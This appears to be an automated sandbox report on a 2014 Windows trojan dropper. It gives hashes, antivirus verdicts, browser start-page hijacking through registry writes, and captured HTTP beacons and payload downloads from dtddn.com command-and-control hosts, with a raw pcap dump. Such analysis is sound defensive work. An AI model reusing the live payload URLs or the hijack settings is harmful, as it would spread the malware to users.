Analysis Date2014-10-10 07:57:52
MD51a5e0a85f7a98ba3c7772a8f89453df8
SHA156bf29ce77fb19ad5a5406a946dce9cdc298c9e2

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: f5859cb83bafe626b303e9dea8862dfb sha1: 575d5a3a907368cebf644c8d5dfe8c0e74c4c0c0 size: 196608
Section.data md5: 620f0b67a91f7f74151bc5be745b7110 sha1: 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d size: 4096
Section.rsrc md5: 68bad5a83ec569c5a60cc769786b5a0d sha1: 71727c22450aa0eff254d5d2957018fe7566e1c3 size: 8192
Timestamp2014-09-22 01:21:15
VersionInternalName: yedqqeva
FileVersion: 1.00
CompanyName: a0sh61XHp
ProductName: yedqqeva
ProductVersion: 1.00
OriginalFilename: yedqqeva.exe
PackerMicrosoft Visual Basic v5.0
PEhash8ae6bd7048655292ba5bef95e3b8acd7560a317e
IMPhash1fec6dd66ec19322f6e4458cdfdefd9a
AV360 SafeGen:Trojan.Heur.ZGY.6
AVAd-AwareGen:Trojan.Heur.ZGY.6
AVAlwil (avast)VBCrypt-CWL [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Trojan.RPII-7234
AVAvira (antivir)TR/Dropper.Gen
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Trojan.Heur.ZGY.6
AVEset (nod32)no_virus
AVFortinetW32/VBObfus.QT!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Trojan.Heur.ZGY.6
AVGrisoft (avg)Win32/VBCrypt
AVIkarusTrojan.Win32.VBObfus
AVK7NetWorm ( 700000151 )
AVKasperskyTrojan.Win32.Dynamer.kxr
AVMalwareBytesno_virus
AVMcafeeObfuscated-FBW!1A5E0A85F7A9
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Trojan.Heur.ZGY.6
AVNormanwinpe/Troj_Generic.WBJIT
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend Microno_virus
AVVirusBlokAda (vba32)no_virus
AVYara APTno_virus
AVZillya!no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\m0q\Edit ➝
3101\\x00
RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\ ➝
C:\Program Files\Internet Explorer\IEXPLORE.EXE "http://www.skoda-china.com/"\\x00\\x00\\x006\\x009\\x00-\\x00A\\x002\\x00E\\x00A\\x00-\\x000\\x008\\x000\\x000\\x002\\x00B\\x003\\x000\\x003\\x000\\x009\\x00D\\x00}\\x00\\\x00s\\x00h\\x00e\\x00l\\x00l\\x00\\\x00O\\x00p\\x00e\\x00n\\x00H\\x00o\\x00m\\x00e\\x00P\\x00
RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\w2m\copin ➝
294216331877\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\106640.ini
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\106640.ini
Creates ProcessC:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\106640.ini"
Creates Mutexup3101
Winsock DNSdown.dtddn.com
Winsock DNSlog.dtddn.com
Winsock DNSdown.sz-guogeng.com
Winsock DNSdldir1.qq.com
Winsock DNSlnk1.dtddn.com
Winsock DNSlnk2.dtddn.com

Process
↳ C:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\106640.ini"

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00

Network Details:

DNSlog.dtddn.com
Type: A
112.124.183.10
DNSlnk1.dtddn.com
Type: A
121.40.172.60
DNSlnk2.dtddn.com
Type: A
112.124.120.200
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.80
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.144
DNSdown.dtddn.com
Type: A
112.124.120.200
DNSdown.sz-guogeng.com
Type: A
112.124.120.200
DNSdldir1.qq.com
Type: A
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=294216331877%2081203
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=294216331877%2084296
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/6968.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-Beg1&Info1=294216331877%201%200
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.dtddn.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.sz-guogeng.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-DownI&Info1=294216331877%201%200%202
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/4048.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Flows TCP192.168.1.1:1031 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1032 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1033 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1034 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1035 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1036 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1037 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1038 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1039 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1040 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1041 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1042 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1043 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1044 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1045 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1046 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1047 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1048 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1049 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1050 ➝ 174.35.56.80:80
Flows TCP192.168.1.1:1051 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1052 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1053 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1054 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1055 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1056 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1057 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1058 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1059 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1060 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1061 ➝ 121.40.172.60:7771

Raw Pcap
0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d32 39343231 36333331 38373725   o1=294216331877%
0x00000040 (00064)   32303831 32303320 48545450 2f312e31   2081203 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d32 39343231 36333331 38373725   o1=294216331877%
0x00000040 (00064)   32303834 32393620 48545450 2f312e31   2084296 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363936 382e7261   GET /lnk/6968.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a206c6e 6b312e64 7464646e   Host: lnk1.dtddn
0x00000080 (00128)   2e636f6d 3a373737 310d0a43 6f6e6e65   .com:7771..Conne
0x00000090 (00144)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000a0 (00160)   650d0a0d 0a0a486f 73743a20 6c6f672e   e.....Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 42656731 26496e66   01%20Q2-Beg1&Inf
0x00000030 (00048)   6f313d32 39343231 36333331 38373725   o1=294216331877%
0x00000040 (00064)   32303125 32303020 48545450 2f312e31   201%200 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
